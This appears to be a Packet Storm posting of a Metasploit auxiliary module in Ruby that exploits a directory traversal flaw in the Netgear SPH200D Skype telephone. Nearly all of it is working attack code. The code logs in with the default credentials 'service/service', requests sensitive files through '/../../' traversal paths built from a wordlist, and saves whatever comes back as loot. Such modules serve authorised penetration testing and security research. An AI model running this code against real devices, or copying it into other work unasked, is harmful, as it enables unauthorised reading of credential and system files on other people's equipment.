what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Netgear SPH200D Directory Traversal

Netgear SPH200D Directory Traversal
Posted Sep 1, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability which is present in Netgear SPH200D Skype telephone.

tags | exploit, telephony
SHA-256 | 296b090de1a0b1c6c8f8e31f9ee0fbe9702722c43d2b8624d6001f8e19d9d16e

Netgear SPH200D Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability which is present in
Netgear SPH200D Skype telephone.
},
'References' =>
[
[ 'BID', '57660' ],
[ 'EDB', '24441' ],
[ 'URL', 'http://support.netgear.com/product/SPH200D' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
],
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
OptString.new('HttpUsername',[ true, 'User to login with', 'service']),
OptString.new('HttpPassword',[ true, 'Password to login with', 'service'])
])
end

def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)

begin
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
end

# traverse every file
def find_files(file,user,pass)
traversal = '/../../'

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(traversal, file),
'authorization' => basic_auth(user,pass)
})

if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
print_good("Request may have succeeded on file #{file}")
report_web_vuln({
:host => rhost,
:port => rport,
:vhost => datastore['VHOST'],
:path => "/",
:pname => normalize_uri(traversal, file),
:risk => 3,
:proof => normalize_uri(traversal, file),
:name => self.fullname,
:category => "web",
:method => "GET"
})

loot = store_loot("lfi.data","text/plain", rhost, res.body, file)
vprint_good("File #{file} downloaded to: #{loot}")
elsif res and res.code
vprint_error("Attempt returned HTTP error #{res.code} when trying to access #{file}")
end
end

def run_host(ip)
user = datastore['HttpUsername']
pass = datastore['HttpPassword']

vprint_status("Trying to login with #{user} / #{pass}")

# test login
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})

return :abort if res.nil?
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
return :abort if (res.code == 404)

if [200, 301, 302].include?(res.code)
vprint_good("Successful login #{user}/#{pass}")
else
vprint_error("No successful login possible with #{user}/#{pass}")
return :abort
end

rescue ::Rex::ConnectionError
vprint_error("Failed to connect to the web server")
return :abort
end

extract_words(datastore['FILELIST']).each do |file|
find_files(file,user,pass) unless file.empty?
end
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close